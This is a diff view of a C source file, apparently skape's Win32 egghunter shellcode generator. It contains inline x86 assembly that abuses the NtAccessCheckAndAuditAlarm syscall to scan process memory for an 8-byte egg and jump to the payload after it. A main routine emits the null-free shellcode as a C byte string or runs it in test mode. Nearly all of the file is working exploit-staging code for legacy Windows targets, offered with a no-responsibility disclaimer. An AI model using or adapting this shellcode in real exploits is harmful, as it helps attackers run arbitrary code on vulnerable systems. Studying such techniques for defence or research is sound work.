1
+ /*
2
+ * Optimized egghunt shellcode for win32 (32 bytes)
3
+ *
4
+ * Description
5
+ *
6
+ * This code works by abusing an NT syscall (NtAccessCheckAndAuditAlaram)
7
+ * whereby it uses the kernel to validate whether or not a set of addresses
8
+ * is valid, and, if it is, whether or not they match the 8 byte egg we're
9
+ * searching for. The egg byte egg consists of 4 bytes of executable
10
+ * assembly that will appear 2 times, once after the other. For instance,
11
+ * the egg 0x50905090 would be used with the following assembly:
12
+ *
13
+ * nop
14
+ * push eax
15
+ * nop
16
+ * push eax
17
+ * nop
18
+ * push eax
19
+ * nop
20
+ * push eax
21
+ *
22
+ * When the egg hunter searches for 0x50905090 it will eventually
23
+ * match with the above assembly and jump to it, starting at the
24
+ * first nop.
25
+ *
26
+ * The use of NtAccessCheckAndAuditAlarm may have problems if the thread
27
+ * is using an impersonation token. However, this is the most portable
28
+ * system call number to use.
29
+ *
30
+ * Targets
31
+ *
32
+ * NT/2K/XP/2K3
33
+ *
34
+ * Usage
35
+ *
36
+ * $ egghunt.exe
37
+ * Usage: egghunt.exe [test | cstyle] [4 byte hex egg] ==> egghunter.exe cstyle 0x57303054
38
+ *
39
+ * To generate usable code (with an egg of 42 41 42 41):
40
+ *
41
+ * $ egghunt.exe cstyle 0x41424142
42
+ *
43
+ * To test the code:
44
+ *
45
+ * $ egghunt.exe test
46
+ *
47
+ * Features/Quirks
48
+ *
49
+ * * No NULLs.
50
+ *
51
+ * Disclaimer
52
+ *
53
+ * The author cannot be held responsible for how this code is used.
54
+ *
55
+ * Compile
56
+ *
57
+ * cl egghunt.c /link /debug
58
+ *
59
+ * Credits
60
+ *
61
+ * Props go out to spoonm, optyx, trew, and johnycsh for optimization
62
+ * tips 'n tricks over the course of this shtuff.
63
+ *
64
+ * skape
65
+
66
+ */
67
+ #include <stdio.h>
68
+
69
+ #define EGG_OFFSET 18
70
+ #define SET_EGG (sc , egg ) *(unsigned long *)((sc) + EGG_OFFSET) = (egg)
71
+
72
+ void __declspec(naked ) egghunt_begin ()
73
+ {
74
+ __asm
75
+ {
76
+ entry :
77
+ // You could put an xor edx, edx here to make the search somewhat
78
+ // quicker, but given page aligned searching, it really isn't that bad
79
+ // to omit it, and it saves two bytes.
80
+ loop_inc_page :
81
+ or dx , 0x0fff // Add PAGE_SIZE-1 to edx
82
+ loop_inc_one :
83
+ inc edx // Increment our pointer by one
84
+ loop_check :
85
+ push edx // Save edx
86
+ push 0x2 // Push NtAccessCheckAndAuditAlarm
87
+ pop eax // Pop into eax
88
+ int 0x2e // Perform the syscall
89
+ cmp al , 0x05 // Did we get 0xc0000005 (ACCESS_VIOLATION) ?
90
+ pop edx // Restore edx
91
+ loop_check_8_valid :
92
+ je loop_inc_page // Yes, invalid ptr, go to the next page
93
+
94
+ is_egg :
95
+ mov eax , 0x50905090 // Throw our egg in eax
96
+ mov edi , edx // Set edi to the pointer we validated
97
+ scasd // Compare the dword in edi to eax
98
+ jnz loop_inc_one // No match? Increment the pointer by one
99
+ scasd // Compare the dword in edi to eax again (which is now edx + 4)
100
+ jnz loop_inc_one // No match? Increment the pointer by one
101
+
102
+ matched :
103
+ jmp edi // Found the egg. Jump 8 bytes past it into our code.
104
+ }
105
+ }
106
+
107
+ void __declspec(naked ) egghunt_end ()
108
+ {
109
+ // These first 8 bytes make up our egg
110
+ __asm
111
+ {
112
+ nop
113
+ push eax
114
+ nop
115
+ push eax
116
+ nop
117
+ push eax
118
+ nop
119
+ push eax
120
+ }
121
+
122
+ printf ("Egg has been found .\n ");
123
+
124
+ exit (0 );
125
+ }
126
+
127
+ void __declspec(naked ) egghunt_end_end ()
128
+ {
129
+ __asm ret
130
+ }
131
+
132
+ int main (int argc , char * * argv )
133
+ {
134
+ if (argc == 1 )
135
+ {
136
+ fprintf (stdout , "Usage: %s [test | cstyle] [4 byte egg hex (eg: 0x41424142)]\n" , argv [0 ]);
137
+ return 0 ;
138
+ }
139
+
140
+ if (!strcmp (argv [1 ], "test" ))
141
+ egghunt_begin ();
142
+ else if (!strcmp (argv [1 ], "cstyle" ))
143
+ {
144
+ unsigned char * start = (unsigned char * )((unsigned char * )egghunt_begin );
145
+ unsigned char * stop = (unsigned char * )((unsigned char * )egghunt_end );
146
+ unsigned char * copy = NULL ;
147
+ unsigned char * c = NULL ;
148
+ unsigned long x = 0 , length , y = 0 , egg = 0x50905090 ;
149
+
150
+ // Calculate the actual address in memory of the begin/end function based off their relative jmp points.
151
+ start += * (unsigned long * )((unsigned char * )egghunt_begin + 1 ) + 5 ;
152
+ stop += * (unsigned long * )((unsigned char * )egghunt_end + 1 ) + 5 ;
153
+ length = stop - start ;
154
+
155
+ if (!(copy = (unsigned char * )malloc (length )))
156
+ {
157
+ printf ("allocation failed\n" );
158
+ return 0 ;
159
+ }
160
+
161
+ memcpy (copy , start , length );
162
+
163
+ if (argc >= 3 )
164
+ egg = strtoul (argv [2 ], NULL , 16 );
165
+
166
+ SET_EGG (copy , egg );
167
+
168
+ fprintf (stdout , "// %lu byte egghunt shellcode (egg=0x%.8x)\n\n" , length , egg );
169
+ fprintf (stdout , "unsigned char egghunt[] = \"" );
170
+
171
+ for (x = 0 ;
172
+ x < length ;
173
+ x ++ )
174
+ fprintf (stdout , "\\x%2.2x" , copy [x ]);
175
+
176
+ fprintf (stdout , "\";\n\n" );
177
+
178
+ free (copy );
179
+ }
180
+ else
181
+ fprintf (stdout , "%s: invalid option\n" , argv [0 ]);
182
+
183
+ return 1 ;
184
+ }
0 commit comments